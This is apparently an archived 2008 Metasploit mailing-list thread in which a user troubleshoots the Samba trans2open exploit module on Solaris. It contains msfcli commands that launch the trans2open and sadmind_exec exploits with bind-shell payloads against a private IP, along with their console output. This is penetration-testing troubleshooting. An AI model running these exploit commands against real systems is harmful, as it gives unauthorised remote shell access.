Metasploit mailing list archives

solaris/samba/trans2open -- Exploit failed: A target has not been selected.


From: mail2arthur at gmail.com (arthur zhang)
Date: Thu, 19 Jun 2008 16:28:30 -0400

Got it. Thank you.
However, even the exploit failed, there is no '[-] Exploit failed:..'
as other attempt.

./msfcli solaris/sunrpc/sadmind_exec RHOST=10.15.14.82
PAYLOAD=cmd/unix/bind_perl E
[*] Started bind handler
[-] Exploit failed: No response to SunRPC PortMap request
===========================================================
./msfcli solaris/samba/trans2open RHOST=10.15.14.82
PAYLOAD=generic/shell_bind_tcp TARGET=0 E
[*] Started bind handler
[*] Trying return address 0xffbffaf0...


On 6/19/08, mmiller at hick.org <mmiller at hick.org> wrote:
msf exploit(trans2open) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Samba 2.2.x Solaris 9 (sun4u)
   1   Samba 2.2.x Solaris 7/8 (sun4u)


msf exploit(trans2open) > set TARGET 0
TARGET => 0
msf exploit(trans2open) >

On Thu, Jun 19, 2008 at 02:28:42PM -0400, arthur zhang wrote:
Hi All,

I got error with solaris/samba/trans2open (as below). What should I
set for the target. The error returns right after the exploit cmd and
no traffic to the RHOST at all. Thanks.

Arthur

msf exploit(trans2open) > use solaris/samba/trans2open
msf exploit(trans2open) > version
Framework: 3.2-release.5378
Console  : 3.2-release.5532
msf exploit(trans2open) > show options

Module options:

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST  10.15.14.82      yes       The target address
   RPORT  139              yes       The target port


Payload options (generic/shell_bind_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LPORT  4444             yes       The local port

msf exploit(trans2open) > exploit

[-] Exploit failed: A target has not been selected.
msf exploit(trans2open) >
_______________________________________________
http://spool.metasploit.com/mailman/listinfo/framework




Current thread: